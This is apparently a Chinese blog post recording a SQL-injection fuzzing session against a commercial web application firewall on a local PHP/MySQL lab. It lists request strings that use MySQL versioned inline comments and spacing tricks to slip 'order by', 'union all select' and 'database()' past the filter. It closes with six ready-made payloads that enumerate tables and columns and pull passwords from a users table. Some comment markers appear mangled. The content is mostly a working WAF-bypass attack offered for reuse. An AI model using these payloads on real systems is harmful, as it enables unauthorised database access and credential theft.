某waf实战SQL注入绕过fuzz过程

#01 环境简介

服务器:windows2008 R2

软件:phpstudy20180211

php 5.4.45

mysql 5.5.53

某锁win_3.1.18.13服务端版本

#02 Fuzz过程

以基于union注入为例

fuzz order by

过程如下:

?id=1’ order --+ 不拦截

?id=1’ order by --+ 拦截

在这里插入图片描述

nna那应该是waf匹配了order+by

?id=1’ order /!by/ --+ 拦截
?id=1’ order /!60000by/ 1 --+ 不拦截,但是报错
在这里插入图片描述
翻译过来:您的SQL语法有误; 检查与您的MySQL服务器版本相对应的手册,以在第1行的’1-'LIMIT 0,1’附近使用正确的语法

那么猜测是要低于mysql的版本吗?(我在fuzz某狗的时候里面的数字要高于50000以上,可能某锁要低于mysql版本,便随便试了个200000)

?id=1’ order /!20000by/ 3 --+ 不拦截,且执行成功

?id=1’ /!20000order/by 3–+ 不拦截,且执行成功

?id=1’ /!20000order/by 4–+

用过狗payload去试试,首先替换空格

?id=1’ order/**/by --+ 拦截

?id=1’ order/!123/by --+ 不拦截,但是报错

换成过够payload

?id=1’ order/!60000bbb/by 3 --+ 不拦截,成功绕过

?id=1’ order/!60000bbb/by 4 --+ 不拦截,报错

过狗payload在这个位置也是可行的。

fuzz union select 1,2,database()

fuzz过程如下

?id=-1’ union --+ 不拦截,报错…

?id=-1’ union select --+ 拦截了,同样考虑用内联注释的方式绕过

?id=-1’ union /!20000select*/ --+ 不拦截,报错…

?id=-1’ union /!20000select*/ 1,2,3–+ 不拦截,报错,这里的报错就跟前面不一样了,前面没加参数肯定错,但是这里加了,报错,说明有问题。

内联注释恰面的union尝试一下。

?id=-1’ /!20000union/ select 1,2,3–+ 拦了

?id=-1’ /!20000union select/ 1,2,3–+ 拦了

?id=-1’ /!20000union select 1,2,3/–+ 拦了

那就考虑用union all select

?id=-1’ /!20000union all select 1,2,3/–+

还是拦截了,在考虑换个注释的位置

?id=-1’ union /!20000all select 1,2,3/–+ ok,nice没拦,执行成功

然后替换参数

?id=-1’ union /!20000all select 1,2,database()/–+ ok

给我拦了,应该是database()的原因 先加个空格再说
?id=-1’ union /!20000all select 1,2,database ()/–+

ok 空格绕过了

还可以考虑其他分隔符:

?id=-1’ union /!20000all select 1,2,database/**/()/–+

同样可以达到绕过的目的

后面直接贴payload吧

1.?id=1’ /!20000order/by 3–+
2.?id=-1’ union /!00000all select/ 1,2,3–+
3.?id=-1’ union /!00000all select/ 1,database/**/(),3–+
4.?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
5.?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
6.?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+

想学习或者交流可以加群:832546664
疑问解答加QQ:835888600

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值